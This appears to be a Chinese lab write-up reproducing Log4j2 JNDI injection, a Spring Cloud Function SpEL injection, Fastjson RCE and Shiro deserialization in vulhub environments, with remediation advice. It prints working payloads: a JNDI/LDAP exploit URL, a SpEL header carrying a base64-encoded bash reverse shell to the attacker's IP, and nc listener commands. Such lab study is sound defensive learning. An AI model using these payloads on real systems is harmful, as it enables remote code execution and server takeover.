JNDI-Injection工具和几个漏洞原理的了解

type

status

date

slug

summary

Apache Log4j2 查找功能 JNDI 注入 (CVE-2021-44228)

漏洞原理

JNDI通过lookup()方法解析接收自应用程序的信息，从而去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务…）查找资源。格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}

当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

漏洞复现：

192.168.245.131(环境机器)

192.168.245.128（监听机）

192.168.245.132（攻击机）

复现操作：

通过vulhub搭建起靶场环境。ip为：192.168.245.131

恶意文件的加载：https://forum.ywhack.com/shell.php

在此处使用反弹shell语句，ip填写监听机器的ip。

通过kali-test进行ldap服务搭建和恶意文件的加载，-C参数是执行恶意命令，-A指定了在哪里搭建ldap服务，此处就在本机，它生成了一个链接：ldap://192.168.245.132:1389/miojja

这个链接里包含的就是我们的恶意文件，内含有-C参数指定的恶意命令。

然后在192.168.245.128（监听机）通过nc -lvvp 6666建立起监听，最后在

网页访问：http://192.168.245.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.245.132:1389/miojja}

即可成功反弹shell

成功后攻击机显示如下：

发送miojja 的 LDAP 引用结果重定向到 http://192.168.245.132:8180/ExecTemplateJDK7.class

也就是说，原来的恶意命令是被放在了class文件内，131加载的恶意文件就是图中的class文件

复现逻辑

配合漏洞复现看。访问链接http://192.168.245.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.245.132:1389/miojja}相当于通过环境机访问攻击机搭建的ldap服务中的恶意文件，环境机加载了这个恶意clas文件后，就会执行我们生成的恶意反弹shell命令，就会通过环境机去连接我们监听机（192.168.245.128）的端口6666。

修复方式：

jndi：

（1）设置白名单请求资源，针对lookup方法

（2）阻止一切lookup()的远程文件加载

log4j(组件):

（1）升级：github开源项目中的修复建议

（2）实时更新的安全厂家推送

Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)

漏洞原理

SpEL表达式注入，攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式，最终执行任意命令，获取服务器权限。

漏洞复现

vulhub搭建环境：

访问8080端口：抓取请求包，此时是get方法。我们需要修改几个地方

通过burp右键修改请求方法后，请求包中自动添加了Content-Type，并且get变为post，这俩个缺一不可。此时，再构造SpEL表达式，

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")

,通过T操作符调用java的runtime类的exec方法去执行反弹shell命令，最后在监听机上监听即可。Runtime.getRuntime()这个是用来获取runtime类的对象，只调用exec方法。

漏洞修复

修改方法权限，仅读readonly

黑名单：禁用可执行命令、代码的方法，例：getRuntime.exec()

Fastjson1.47rce

fastjson介绍

Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

漏洞发现

如何判断是否使用fastjson： ①无脑看响应中是否包含json字段

②若存在回显则可构造任意json语句触发报错（能触发说明json被执行）。由于json数据时需要修改Content-Type：application/json，故直接使用post传参的方式即可触发报错

漏洞复现

vulhub搭建环境

当我们向 fastjson 服务器 POST 提交 POC 后，fastjson 服务器会访问远程 RMI 服务，RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码（已编译的反序列化类），从而成功实现远程命令执行。

它的原理也是JNDI注入，利用思路几乎一样，只不过是java runtime类的exec方法换成了json的com.sun.rowset.JdbcRowSetImpl利用链，然后在dataSourceName处加载我们恶意class文件的url地址。通过解析恶意class文件中的反弹shell命令达到任意rce的效果。

首先，JdbcRowSetImpl 是 Java 的一个类，它可以用来执行数据库操作。它实现了 AutoCloseable 接口，这个接口有一个 close() 方法，这个方法会在对象不再需要时被自动调用。当 close() 方法被调用时，如果 JdbcRowSetImpl 对象的 dataSourceName 被设置为一个恶意的 LDAP 路径，这个方法会尝试连接到这个路径。而这个路径实际上可以触发加载并执行远程代码，这是因为LDAP服务返回的响应中可以包含对 Java类的引用，而 Java 程序可能会加载并执行这个类，从而执行攻击者控制的代码。

在上面的 JSON 中：

@type 指定了将要创建的对象类型是 com.sun.rowset.JdbcRowSetImpl。

dataSourceName 是 JdbcRowSetImpl 的一个属性，攻击者设置它指向自己控制的 LDAP 服务器地址，并且在这个地址上设置了恶意的 Java 类。

autoCommit 设置为 true或者false都行，在 JdbcRowSetImpl 类中的 close() 方法是设计来关闭数据库连接和清理资源的，它仅仅影响了数据库连接的提交行为。当 autoCommit 被设置为 true 时，数据库连接将启用自动提交模式。这意味着每个 SQL 语句都会立即执行，并且将自动提交到数据库，而不需要显式地调用 commit() 方法。当 autoCommit 被设置为 false 时，数据库连接将处于手动提交模式。这意味着需要显式地调用 commit() 方法才能提交之前的 SQL 事务。

在此处，true，false，0，1或者其他任意数字都可以（感觉0默认为false，1和其他数字都是true）。但是删掉autoCommit就不行了

当 Fastjson 解析这个 JSON 并创建 JdbcRowSetImpl 对象时，如果某些条件触发了 close() 方法（比如对象被垃圾回收），那么 JdbcRowSetImpl 将尝试连接到 dataSourceName 指定的 LDAP 服务器，而这个服务器实际上是攻击者控制的。攻击者可以在自己的 LDAP 服务器上设置恶意 Java 类，当 JdbcRowSetImpl 连接到这个服务器时，就会加载并执行这个类，从而实现远程代码执行。

shiro反序列化（CVE-2016-4437）

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性用途：安全登录框架

漏洞成因

Apache Shiro默认使用了Cookie RememberMeManager，其处理cookie的流程是：得到 rememberMe的cookie值 > Base64解码–>AES解密时（秘钥使用默认，导致aes的秘钥可被猜解，最终用户可以伪造序列化数据）–>反序列化

shiro550和721的区别：

1、Shiro框架1.2.4版本之前的登录时默认是先验证"rememberMe" Cookie的值，而不是先进行身份验证，这也是Shiro550漏洞能够利用的原因之一，攻击者可以利用该漏洞通过伪造"rememberMe" Cookie的值来绕过Shiro框架的身份认证机制，从而实现未授权访问

2、Shiro框架1.2.4版本之后的登录时先进行身份验证，而不是先验证"rememberMe" Cookie的值，所以攻击者需要知道受害者已经通过登录验证，并且Shiro框架已经为受害者创建了一个有效的会话，以便攻击者可以利用该会话ID进行身份伪造并绕过Shiro框架的权限控制机制

3、同时，Shiro框架的登录流程也是可以自定义的

漏洞复现

工具：

shiro_attack-2.2.jar

从上到下一个个爆破，再试就行了，会显示在检测日志里。最后命令执行的是在功能模块“命令执行”